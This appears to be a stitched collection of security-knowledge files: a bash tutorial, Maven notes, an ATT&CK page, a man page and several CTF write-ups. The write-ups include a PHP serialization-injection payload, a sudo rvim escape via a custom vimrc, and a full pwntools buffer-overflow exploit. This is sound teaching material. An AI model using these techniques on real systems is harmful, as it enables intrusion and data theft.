指定脚本解释器,这里是用`/bin/bash`做解释器 2. 切换到用户主目录,也就是`/home/[用户名]` 3. 创建一个名为`test`的空目录 4. 写一个执行 10 次的 for 循环 5. 开始执行 6. 创建 10 个名称为test_0.txt, test_1.txt ...格式的空文件 7. 完成 **小贴士**: cd、mkdir 和 touch 都是系统自带的程序,一般在`/bin`目录下; 而 for、do 和 done 都是 Shell 的关键字。 Shell 中使用`#`开头的行就是注释。 ### 参考 - Linux中国:[点击进入](https://linux.cn/) - Linux官网:[点击进入](https://www.linux.org/) - Linux公社:[点击进入](http://www.linuxidc.com/) - 鸟哥 Linux:[点击进入](http://linux.vbird.org/) - Linux命令大全:[点击进入](http://man.linuxde.net/) - Linux下载站:[点击进入](http://www.linuxdown.net/) - 菜鸟教程:[点击进入](http://www.runoob.com/linux/linux-shell.html)
sec-knowleage
# 构建工具 <!-- GFM-TOC --> * [构建工具](#构建工具) * [一、构建工具的作用](#一构建工具的作用) * [二、Java 主流构建工具](#二java-主流构建工具) * [三、Maven](#三maven) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、构建工具的作用 构建一个项目通常包含了依赖管理、测试、编译、打包、发布等流程,构建工具可以自动化进行这些操作,从而为我们减少这些繁琐的工作。 其中构建工具提供的依赖管理能够可以自动处理依赖关系。例如一个项目需要用到依赖 A,A 又依赖于 B,那么构建工具就能帮我们导入 B,而不需要我们手动去寻找并导入。 在 Java 项目中,打包流程通常是将项目打包成 Jar 包。在没有构建工具的情况下,我们需要使用命令行工具或者 IDE 手动打包。而发布流程通常是将 Jar 包上传到服务器上。 ## 二、Java 主流构建工具 Ant 具有编译、测试和打包功能,其后出现的 Maven 在 Ant 的功能基础上又新增了依赖管理功能,而最新的 Gradle 又在 Maven 的功能基础上新增了对 Groovy 语言的支持。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208204118932.png"/> </div><br> Gradle 和 Maven 的区别是,它使用 Groovy 这种特定领域语言(DSL)来管理构建脚本,而不再使用 XML 这种标记性语言。因为项目如果庞大的话,XML 很容易就变得臃肿。 例如要在项目中引入 Junit,Maven 的代码如下: ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>jizg.study.maven.hello</groupId> <artifactId>hello-first</artifactId> <version>0.0.1-SNAPSHOT</version> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.10</version> <scope>test</scope> </dependency> </dependencies> </project> ``` 而 Gradle 只需要几行代码: ```java dependencies { testCompile "junit:junit:4.10" } ``` ## 三、Maven ### 概述 提供了项目对象模型(POM)文件来管理项目的构建。 ### 仓库 仓库的搜索顺序为:本地仓库、中央仓库、远程仓库。 - 本地仓库用来存储项目的依赖库; - 中央仓库是下载依赖库的默认位置; - 远程仓库,因为并非所有的依赖库都在中央仓库,或者中央仓库访问速度很慢,远程仓库是中央仓库的补充。 ### POM POM 代表项目对象模型,它是一个 XML 文件,保存在项目根目录的 pom.xml 文件中。 ```xml <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> ``` [groupId, artifactId, version, packaging, classifier] 称为一个项目的坐标,其中 groupId、artifactId、version 必须定义,packaging 可选(默认为 Jar),classifier 不能直接定义的,需要结合插件使用。 - groupId:项目组 Id,必须全球唯一; - artifactId:项目 Id,即项目名; - version:项目版本; - packaging:项目打包方式。 ### 依赖原则 #### 1. 依赖路径最短优先原则 ```html A -> B -> C -> X(1.0) A -> D -> X(2.0) ``` 由于 X(2.0) 路径最短,所以使用 X(2.0)。 #### 2. 声明顺序优先原则 ```html A -> B -> X(1.0) A -> C -> X(2.0) ``` 在 POM 中最先声明的优先,上面的两个依赖如果先声明 B,那么最后使用 X(1.0)。 #### 3. 覆写优先原则 子 POM 内声明的依赖优先于父 POM 中声明的依赖。 ### 解决依赖冲突 找到 Maven 加载的 Jar 包版本,使用 `mvn dependency:tree` 查看依赖树,根据依赖原则来调整依赖在 POM 文件的声明顺序。 ## 参考资料 - [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification) - [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool) - [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html) - [maven 2 gradle](http://sagioto.github.io/maven2gradle/) - [新一代构建工具 gradle](https://www.imooc.com/learn/833)
sec-knowleage
# T1584-006-盗取基础设施-web服务 ## 来自ATT&CK的描述 攻击者可能会破坏对第三方网络服务的访问,这些服务可以在攻击目标期间使用。有各种流行的网站供合法用户注册基于网络的服务,如GitHub、Twitter、Dropbox、谷歌等。攻击者可能会尝试取得合法用户对网络服务的访问权,并将该网络服务用作支持网络操作的基础设施。此类Web服务可能会在攻击生命周期的后期阶段被滥用,例如在命令和控制 (Web服务) 或通过 Web服务渗透。使用通用服务,例如Google或Twitter提供的服务,可以让攻击者更容易隐藏在预期的噪音(正常行为中)中。通过使用Web服务,特别是当合法用户的访问权限被盗时,可能很难将操作与他们(攻击者)联系起来。 ## 测试案例 Turla经常将受感染的WordPress站点用于C2基础设施 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,例如在指挥和控制(网络服务)或通过网络服务渗透期间。 ## 参考推荐 MITRE-ATT&CK-T1584-006 <https://attack.mitre.org/techniques/T1583/006/>
sec-knowleage
## Piapiapia (Web, 6p) ###ENG [PL](#pl-version) We get a page and its source. It looks like flag is stored inside config.php. All inputs seem pretty well validated but 'nickname' doesn't handle arrays well. Validation is skipped when passed as 'nickname[]='. SQL injection will be hard, as all backslashes and "unsafe" words are removed: ```php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } ``` The problem is, it's sanitized *after* being serialized: ```php $user->update_profile($username, serialize($profile)); public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } ``` Replacing "where" with "hacker" changes the length of the string. Allowing us to replace part of serialized object with our content. We replace photo file name with "config.php": ```php $payload = "\";}s:5:\"photo\";s:10:\"config.php\";}\";"; $POST['nickname[]'] = str_repeat("where", strlen($payload)).$payload; ``` After this, "config.php" is returned as base64 encoded data uri: ```php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = '0ctf'; $config['password'] = 'oh-my-**-web'; $config['database'] = '0CTF_WEB'; $flag = '0ctf{fa717b49649fbb9c0dd0d1663469a871}'; ?> ``` ###PL version Otrzymujemy strone PHP wraz ze źródłem. Flaga przetrzymywana jest w pliku config.php. Wszystkie wartośći wejściowe wydają się dobrze sprawdzane. Jednak walidacja 'nickname' nie zadziała jeżeli przekażemy go jako tablicę: `nickname[]=` SQL injection może jednak okazać się problematyczne. Wszystkie `\\` oraz "podejżane" słowa kluczowe są usuwane: ```php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } ``` Niedopatrzeniem okazuje się to, że dane profilu "oczyszczane" są po serializacji: ```php $user->update_profile($username, serialize($profile)); public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } ``` Zamiana "where" na "hacker" zmienia długość zakodowanego łańcucha. Umożliwia to nadpisanie końcówki obiektu naszymi wartościami. Zamieniamy nazwę pliku ze zdjęciem na "config.php": ```php $payload = "\";}s:5:\"photo\";s:10:\"config.php\";}\";"; $POST['nickname[]'] = str_repeat("where", strlen($payload)).$payload; ``` Dzięki temu "config.php" jest nam zwracany jako base64 data uri: ```php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = '0ctf'; $config['password'] = 'oh-my-**-web'; $config['database'] = '0CTF_WEB'; $flag = '0ctf{fa717b49649fbb9c0dd0d1663469a871}'; ?> ```
sec-knowleage
# Smash Reversing, 150 points ## Description > We discovered this old CD from the 90s in our attic. It looks like it used to register you to a WWE betting community back in the day, but we seem to have lost the access code. Can you get us in? A binary file was attached. ## Solution Let's run the binary: ```console root@kali:/media/sf_CTFs/sunshine/Smash# ./WrestleOfMania WRESTLE-O-MANIA! We bring your wrestling bets to the internet. All rights reserved, 1991. Beginning your installation..... Please enter your access code: test ERROR: Access code invalid. ``` Looks like we'll have to provide a valid access code in order to proceed. Let's take a look at the Ghidra decompilation output (function names were included, all other labels and types are user-defined): ```c undefined4 main(undefined1 param_1) { char *pcVar1; uint uVar2; undefined4 uVar3; char user_key [31]; int local_14; puts("WRESTLE-O-MANIA! We bring your wrestling bets to the internet."); puts("All rights reserved, 1991."); printf("Beginning your installation"); fflush(stdout); local_14 = 0; while (local_14 < 5) { putchar('.'); fflush(stdout); local_14 = local_14 + 1; } printf("\n\nPlease enter your access code: "); pcVar1 = fgets(user_key,31,stdin); if (pcVar1 == (char *)0x0) { puts("ERROR: Access code not recognized."); uVar3 = 0xffffffff; } else { uVar2 = checkAccessCode(user_key); if (uVar2 == 1) { puts("Thank you for registering!"); } else { puts("ERROR: Access code invalid."); } uVar3 = 0; } return uVar3; } ``` The important logic resides in `checkAccessCode()`, let's inspect it: ```c uint checkAccessCode(char *user_key) { int iVar1; int *p_out_arr; int in_arr [30]; int verify_res; __x86.get_pc_thunk.ax(); in_arr[0] = 5; in_arr[1] = 3; in_arr[2] = 6; in_arr[3] = 5; in_arr[4] = 2; in_arr[5] = 5; in_arr[6] = 3; in_arr[7] = 3; in_arr[8] = 3; in_arr[9] = 5; in_arr[10] = 2; in_arr[11] = 4; in_arr[12] = 6; in_arr[13] = 5; in_arr[14] = 5; in_arr[15] = 2; in_arr[16] = 2; in_arr[17] = 5; in_arr[18] = 2; in_arr[19] = 6; in_arr[20] = 5; in_arr[21] = 1; in_arr[22] = 3; in_arr[23] = 4; in_arr[24] = 5; in_arr[25] = 3; in_arr[26] = 4; in_arr[27] = 6; in_arr[28] = 6; in_arr[29] = 5; process(user_key,in_arr,&p_out_arr); prepare(user_key); verify(user_key); format(user_key,&p_out_arr); iVar1 = checkResult(p_out_arr); return (uint)(iVar1 == 1); } ``` This function defines an array, then calls a series of functions. Let's inspect them one by one: ```c void process(char *user_key,int *in_arr,int **pp_out_arr) { int *piVar1; int i; __x86.get_pc_thunk.ax(); piVar1 = (int *)malloc(120); *pp_out_arr = piVar1; i = 0; while (i < 30) { (*pp_out_arr)[i] = 0; i = i + 1; } i = 0; while (i < 30) { while (in_arr[i] != 0) { (*pp_out_arr)[i] = (*pp_out_arr)[i] + 1; in_arr[i] = in_arr[i] + -1; } i = i + 1; } return; } ``` This function allocates `out_arr` (an array of 30 integers) and copies `in_arr` to `out_arr`. ```c void prepare(char *user_key) { FILE *__s; int i; __s = fopen("/dev/null","w"); i = 0; while( true ) { if (29 < i) { return; } if ((int)user_key[i] - 'n'U < 16) break; fwrite("there",1,5,__s); i = i + 1; } /* WARNING: Could not recover jumptable at 0x000108f1. Too many branches */ /* WARNING: Treating indirect jump as call */ (*(code *)((int)&_GLOBAL_OFFSET_TABLE_ + *(int *)(&UNK_00010d94 + ((int)user_key[i] - 'n'U) * 4))) (); return; } ``` This looks like a dummy function, it doesn't modify the input or do anything else which seems meaningful. Hopefully we can ignore it. ```c int verify(char *user_key) { int j; uint local_c; int i; __x86.get_pc_thunk.ax(); i = 0; local_c = 5; j = 25; while (j != 0) { if (user_key[i] == '-') { local_c = local_c & 3; } i = i + 1; j = j + -1; } return (uint)(local_c != 92); } ``` This function performs some kind of verification on the input, but the return value is ignored. Hopefully we can ignore it as well. ```c void format(char *user_key,int **pp_out_arr) { void *__ptr; int i; __ptr = malloc(120); i = 0; while (i < 30) { (*pp_out_arr)[i] = (int)user_key[i] << ((byte)(*pp_out_arr)[i] & 0x1f); i = i + 1; } free(__ptr); return; } ``` This function formats `out_arr` using the user key - this seems important. ```c undefined4 checkResult(int *p_out_arr) { int j; int *piVar1; int *piVar2; int expected_arr [30]; int i; j = 30; piVar1 = g_expected_values; piVar2 = expected_arr; while (j != 0) { j = j + -1; *piVar2 = *piVar1; piVar1 = piVar1 + 1; piVar2 = piVar2 + 1; } i = 0; while( true ) { if (29 < i) { return 1; } if (expected_arr[i] != p_out_arr[i]) break; i = i + 1; } return 0; } ``` Finally, this function checks if the formatted `out_arr` is identical to a global `g_expected_values`: ``` g_expected_values XREF[2]: checkResult:000109af(*), checkResult:000109be(R) 00010de0 60 0e 00 00 int[30] a8 03 00 00 80 1b 00 00 00010de0 [0] E60h, 3A8h, 1B80h, F60h 00010df0 [4] 120h, EA0h, 188h, 358h 00010e00 [8] 1A0h, 9A0h, 184h, 4E0h 00010e10 [12] C40h, C20h, 5A0h, 1C8h 00010e20 [16] 1D4h, 9C0h, 1CCh, B40h 00010e30 [20] AE0h, 62h, 360h, 340h 00010e40 [24] 5A0h, 180h, 6E0h, B40h 00010e50 [28] 1540h, FA0h ``` Now that we have the important logic, we can use z3 to find a key that complies with it (even though the logic doesn't seem to hard to reverse manually): ```python from z3 import * KEY_LEN = 30 key = [BitVec("{}".format(i), 32) for i in range(KEY_LEN)] solver = Solver() for i in range(KEY_LEN): solver.add(key[i] >= ord('!')) solver.add(key[i] <= ord('~')) in_arr = [5, 3, 6, 5, 2, 5, 3, 3, 3, 5, 2, 4, 6, 5, 5, 2, 2, 5, 2, 6, 5, 1, 3, 4, 5, 3, 4, 6, 6, 5] for i in range(len(in_arr)): in_arr[i] = key[i] << (in_arr[i] & 0x1f) expected_arr = [0xE60, 0x3A8, 0x1B80, 0xF60, 0x120, 0xEA0, 0x188, 0x358, 0x1A0, 0x9A0, 0x184, 0x4E0, 0xC40, 0xC20, 0x5A0, 0x1C8, 0x1D4, 0x9C0, 0x1CC, 0xB40, 0xAE0, 0x62, 0x360, 0x340, 0x5A0, 0x180, 0x6E0, 0xB40, 0x1540, 0xFA0] for i in range(len(expected_arr)): solver.add(expected_arr[i] == in_arr[i]) if solver.check() == sat: model = solver.model() #print(model) res = "" for i in range(KEY_LEN): res += chr(model[key[i]].as_long()) print res ``` The output: ```console root@kali:/media/sf_CTFs/sunshine/Smash# python solve.py sun{Hu1k4MaN1a-ruNs-W1l4-0n-U} root@kali:/media/sf_CTFs/sunshine/Smash# python solve.py | ./WrestleOfMania WRESTLE-O-MANIA! We bring your wrestling bets to the internet. All rights reserved, 1991. Beginning your installation..... Please enter your access code: Thank you for registering! ``` The flag: sun{Hu1k4MaN1a-ruNs-W1l4-0n-U}
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH ENV 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 env \- 在重建的环境中运行程序 .SH 概述 \fBenv\fP [\fI\,选项\/\fP]... [\fI\-\fP] [\fI\,名称=值\/\fP]... [\fI\,命令 \/\fP[\fI\,参数列表\/\fP]...] .SH 描述 .\" Add any additional description here .PP 在环境中将每个指定名称的环境变量设为指定的值,并运行给定命令。 .PP 必选参数对长短选项同时适用。 .TP \fB\-i\fP, \fB\-\-ignore\-environment\fP 不带环境变量启动 .TP \fB\-0\fP, \fB\-\-null\fP 使每行输出以 NUL 字符结束,不添加换行符 .TP \fB\-u\fP, \fB\-\-unset\fP=\fI\,名称\/\fP 从环境中移除指定环境变量 .TP \fB\-C\fP, \fB\-\-chdir\fP=\fI\,指定目录名称\/\fP 将工作目录修改为指定的目录名称 .TP \fB\-S\fP, \fB\-\-split\-string\fP=\fI\,S\/\fP 处理并将 S 字符串分割为多个参数;用于向 shebang 行传递多个参数 .TP \fB\-\-block\-signal\fP[=\fI\,信号\/\fP] 阻挡向指定命令传递指定的信号 .TP \fB\-\-default\-signal\fP[=\fI\,信号\/\fP] 将对指定信号的处理方式重置为默认方式 .TP \fB\-\-ignore\-signal\fP[=\fI\,信号\/\fP] 将对指定的一种或多种信号的处理方式设置为什么都不做 .TP \fB\-\-list\-signal\-handling\fP 向标准错误输出非默认的信号处理方式 .TP \fB\-v\fP, \fB\-\-debug\fP 为每个处理流程输出详细信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 单独的“\-”隐含选项 \fB\-i\fP。如果没有给定命令,则输出重建后的环境。 .PP 参数中的信号可以是类似 'PIPE' 这样的信号名称,也可以是如 '1' 这样的信号编码。所有已知信号均包括其中。如需指定多个信号,可以使用半角逗号隔开。 .SH 选项 .SS "\-S/\-\-split\-string 在脚本中的用法" \fB\-S\fP 选项可以在脚本中指定多个参数。例如,运行一个名为 \fB1.pl\fP的脚本,其第一行如下所示: .PP .RS .nf #!/usr/bin/env \-S perl \-w \-T \&... .fi .RE .PP 将会运行 \fBperl \-w \-T 1.pl .\fP .PP 如果不加 \fB'\-S'\fP 参数,脚本可能运行失败并输出以下错误: .PP .RS .nf /usr/bin/env: 'perl \-w \-T': 没有那个文件或目录 .fi .RE .PP 请阅读完整文档以了解更多细节。 .PP .SS "\-\-default\-signal[=信号] 的用法" 该选项可以将一个信号的处理方式设置为其默认行为,这是传统的 shell trap 命令无法实现的。下面的粒子确保 seq 能被 SIGPIPE 信号所终止,无论该信号在被调用的命令的进程中是如何被处理的。 .PP .RS .nf sh \-c 'env \-\-default\-signal=PIPE seq inf | head \-n1' .fi .RE .PP .SH 注意 POSIX 的 \fBexec\fP(2p) 手册页有以下内容: .RS "许多现有的应用程序都错误地假定它们启动时接收信号的行为均为默认值且为非阻塞模式。因此,最佳实践是除非有明确的理由,否则在跨 exec 执行时不要阻塞或忽略信号,尤其是不要在跨 exec 执行任意的(即并非与你的代码紧密合作的)程序时阻塞信号。" .RE .SH 作者 由 Richard Mlynarik、David MacKenzie 和 Assaf Gordon 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBsigaction\fP(2), \fBsigprocmask\fP(2), \fBsignal\fP(7) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/env> .br 或者在本地使用: info \(aq(coreutils) env invocation\(aq
sec-knowleage
# VimJail (pwn) ###ENG [PL](#pl-version) In the task we get credentials to log-in on the server via SSH. We are `ctfuser` user and we can see that there is `flagReader` binary in our home, but with it's only executable for `secretuser`. The binary also has GUID bit set, so it can read flag in the `/.flag`. By checking sudoers we notice that, as expected from the task name, we can sudo on secretuser when running `rvim`: ``` sudo -u secretuser rvim ``` The problem is that rvim restricts shell commands execution, so we can't simply run the `flagReader`. It took us a lot of time to figure this out but finally we noticed that we can use a custom `.vimrc` file when starting rvim, and commands in such file will be executed with the current user provileges! So by using file: ``` python3 import os python3 os.system("/home/ctfuser/flagReader /.flag") ``` And running: ``` sudo -u secretuser rvim -u ourvimrcfile ``` gives the flag `flag{rVim_is_no_silverbullet!!!111elf}` ###PL version W zadaniu dostajemy dane do logowania na serwer po SSH. Logujemy się jako `ctfuser` i możemy zobaczyć ze ` home jest binarka `flagReader`, ale można jej użyć tylko jako `secretuser`. Binarka dodatkowo ma ustawiony GUID i może odczytać flagę z `/.flag`. Po sprawdzeniu listy sudoers widzimy, że, zgodnie z oczekiwaniami po nazwie zadania, możemy zrobić sudo na secretusera uruchamiając `rvim`: ``` sudo -u secretuser rvim ``` Problem polega na tym, że rvim nie pozwala na uruchamianie komend shell więc nie możemy po prostu uruchomić `flagReader`. Zajęło nam dość sporo czasu wpadnięcie na rozwiązanie, ale finalnie zauważyliśmy, że można przy starcie podać własny plik `.vimrc` a komendy z tego pliku zostaną wykonane z uprawnieniami aktualnego użytkownika! Więc używając pliku: ``` python3 import os python3 os.system("/home/ctfuser/flagReader /.flag") ``` I uruchamiając: ``` sudo -u secretuser rvim -u ourvimrcfile ``` Dostajemy flagę `flag{rVim_is_no_silverbullet!!!111elf}`
sec-knowleage
# 堆利用 在该章节中,我们会按照如下的步骤进行介绍 1. 介绍我们所熟知的动态内存分配的堆的宏观操作 2. 介绍为了达到这些操作所使用的数据结构 3. 介绍利用这些数据结构实现堆的分配与回收的具体操作 4. 由浅入深地介绍堆的各种利用技巧。 对于不同的应用来说,由于内存的需求各不相同等特性,因此目前堆的实现有很多种,具体如下 ```text dlmalloc – General purpose allocator ptmalloc2 – glibc jemalloc – FreeBSD and Firefox tcmalloc – Google libumem – Solaris ``` 这里我们主要以 glibc 中堆的实现为主进行介绍。如果后续有时间,会继续介绍其它堆的实现及其利用。 该部分主要参考的资料如下,文中有很多内容会和参考资料中一致,以后就不一一说明了。 - [black hat heap exploitation](https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf) - [github heap exploition](https://heap-exploitation.dhavalkapil.com/) - [sploitfun](https://sploitfun.wordpress.com/archives/) - glibc 源码 - 更多的参考文献请看ref目录下的文件
sec-knowleage
# whats-the-difference General Skills, 200 points ## Description: > Can you spot the difference? kitters cattos. ## Solution: We receive two images: `cattos.jpg` and `kitters.jpg`. Visually, they seem similar, however `cattos.jpg` has some kind of corruption. Let's diff them: ```console root@kali:/media/sf_CTFs/pico/whats-the-difference# diff cattos.jpg kitters.jpg Binary files cattos.jpg and kitters.jpg differ ``` Let's take a look at the difference itself (note that `cmp` uses a decimal system for offsets and octal for bytes) ```console root@kali:/media/sf_CTFs/pico/whats-the-difference# cmp -l cattos.jpg kitters.jpg 49734 160 231 49735 151 235 49736 143 230 49737 157 310 87663 103 12 162650 124 364 175231 106 153 175232 173 261 211986 164 230 211987 150 222 211988 63 15 211989 171 330 284427 162 122 292340 63 174 292341 137 371 331830 141 216 331831 65 365 426632 137 346 439903 144 360 515770 61 112 515771 146 252 583608 146 341 640996 63 310 688795 162 77 688796 63 107 702943 156 23 751424 164 243 754731 137 61 754732 64 113 754733 163 274 754734 137 304 796226 142 43 871159 165 256 871160 67 6 871161 67 316 871162 63 346 927506 162 347 927507 137 212 927508 64 122 994666 156 376 994667 144 43 994668 137 377 1068577 152 234 1068578 63 344 1068579 61 203 1068580 61 222 1068581 171 162 1101444 137 5 1101445 141 173 1101446 163 7 1101447 154 300 1171017 153 53 1171018 152 147 1171019 146 356 1241182 144 51 1241183 163 224 1241184 141 200 1241185 154 106 1272572 153 217 1272573 146 156 1337150 163 4 1410459 154 345 1410460 153 340 1460208 146 5 1510914 154 237 1567157 153 322 1567158 152 100 1567159 144 42 1567160 163 220 1567161 146 205 1581925 144 315 1581926 163 244 1581927 172 215 1581928 155 147 1581929 172 257 1677065 61 176 1677066 60 341 1764510 65 357 1764511 64 210 1764512 70 31 1766742 175 13 ``` The second column looks like ASCII, let's try to decode: ```console root@kali:/media/sf_CTFs/pico/whats-the-difference# cmp -l cattos.jpg kitters.jpg | gawk '{printf "%c", strtonum(0$2)}' && echo picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548} ```
sec-knowleage
--- title: 模块的语法 --- ## 模块(Module) ### 导出:export 命名导出 ``` var a = 1 var b = 2 var person = () => console.log('a') export { a,b,person } ``` 默认导出 ``` export default App ``` ### 导入:**import** 命名导入 **as** ``` import {a as c,b,person} from './app' console.log(c,b,person) ``` a作为c导入,a可以再次使用,并不会被覆盖 全部导入(*) ``` import * as c from './app' console.log(c) ``` 直接导入 ``` import './app' ``` 会把导入的代码整体粘贴过来
sec-knowleage
decompilation=open("decomp").read().split("\n") equations=[] free=[] for i in range(16): variables={} for j in range(16): var=decompilation[i*18+j+1].split(" ")[4] val=decompilation[i*18+j+1].split(" ")[8][:-2] val=int(val) val-=72 val/=4 variables[var]=val assert(len(variables)==16) print variables eq=decompilation[i*18+17].split(" ")[8:] coeffs=eq[::4] va=eq[2::4] for j, v in enumerate(va): va[j]=variables[v] eq=[int(x[1]) for x in sorted(zip(va, coeffs))] assert(len(eq)==16) equations.append(eq) f=decompilation[290+i*2].split(" ")[-1][:-1] free.append(int(f, 16)) print equations import numpy as np A=np.matrix(equations) B=np.matrix(free) print A print B.T print "" sol=A.I*B.T print sol arr=[int(x+0.25) for x in list(np.array(sol.T)[0])] print arr print "".join([chr(c) for c in arr])[::-1]
sec-knowleage
# Plague of Frogs ## Description > > “I will smite all your territory with frogs. So the river shall bring forth frogs abundantly, which shall go up and come into your house, into your bedroom, on your bed, into the houses of your servants, on your people, into your ovens, and into your kneading bowls. And the frogs shall come up on you, on your people, and on all your servants.” (Exodus 8:2-4). > > You will be delving into the tale of the puzzling demise of frogs that troubled the wetlands. Can you unveil the enigmas concealed within and crack the puzzle? A binary file and a server address were attached. ## Solution Let's run the attached binary: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_frogs] └─$ ./frog What is your name? test Goodbye test! ``` The program reads a name from the user, prints it and exits. Inspecting the disassembly with Ghidra, we can see a very simple `main` function: ```c undefined8 main(void) { undefined local_78 [112]; puts("What is your name? "); fflush(stdout); __isoc99_scanf("%129s",local_78); printf("Goodbye %s!\n",local_78); return 0; } ``` We can also spot a clear vulnerability: `scanf` reads up to `129` bytes into a buffer of `112` bytes! We might be able to use this to overwrite the return address and jump somewhere else. Where to? Well, luckily we have the following function as well: ```c undefined8 jump(void) { ssize_t sVar1; undefined8 local_28; undefined8 local_20; undefined8 local_18; undefined2 local_10; int local_c; local_28 = 0; local_20 = 0; local_18 = 0; local_10 = 0; local_c = open("flag",0x100); sVar1 = read(local_c,&local_28,0x1a); if (sVar1 != 0x1a) { /* WARNING: Subroutine does not return */ exit(1); } puts((char *)&local_28); fflush(stdout); return 0; } ``` This function will print the flag. One last check before we proceed: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_frogs] └─$ checksec ./frog [*] '/media/sf_CTFs/basmach/Plague_of_frogs/frog' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` No canary, no PIE. So we're good to go with the following basic `pwntools` exploit script: ```python # First generate a pwntools template with: # $ pwn template --host 20.166.26.247 --port 1337 ./frog #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Full RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) import os def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere with open("/proc/sys/kernel/core_pattern") as f: core_pattern = f.read() if core_pattern.strip() == "core": from pathlib import Path raise Exception("Please run the following command first:\n" "mkdir -p {0} && " "sudo bash -c 'echo {0}/core_dump > /proc/sys/kernel/core_pattern'" .format(Path.home() / "core")) #os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(130, n = exe.bytes) proc.sendline(payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() log.info(f"jump() address: {hex(exe.symbols['jump'])}") payload = fit({overflow_offset: p64(exe.symbols['jump'])}) io = start() io.sendline(payload) io.readline() io.readline() log.success(f"Flag: {io.readlineS()}") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_frogs] └─$ python3 exploit.py [*] '/media/sf_CTFs/basmach/Plague_of_frogs/frog' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/media/sf_CTFs/basmach/Plague_of_frogs/frog': pid 2420 [*] Process '/media/sf_CTFs/basmach/Plague_of_frogs/frog' stopped with exit code -11 (SIGSEGV) (pid 2420) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/basmach/Plague_of_frogs/core.2420' Arch: amd64-64-little RIP: 0x4012de RSP: 0x7ffece2b0cd8 Exe: '/media/sf_CTFs/basmach/Plague_of_frogs/frog' (0x400000) Fault: 0x6161616161616170 [*] Overflow offset: 120 [*] jump() address: 0x4011f6 [+] Opening connection to 20.166.26.247 on port 1337: Done [+] Flag: BSMCH{PR0T3CTED_F00D} [*] Closed connection to 20.166.26.247 port 1337 ```
sec-knowleage
# HITB-XCTF GSEC CTF 2018 Quals Team: shalom, sasza, rev, msm, akrasuski1 ### Table of contents * [python revenge (web)](web_python) * [easy pub (crypto)](crypto_pub) * [multicheck (re)](re_multicheck)
sec-knowleage
version: '3' services: web: image: vulhub/php:5.6-with-imap volumes: - ./www:/var/www/html ports: - "8080:80"
sec-knowleage
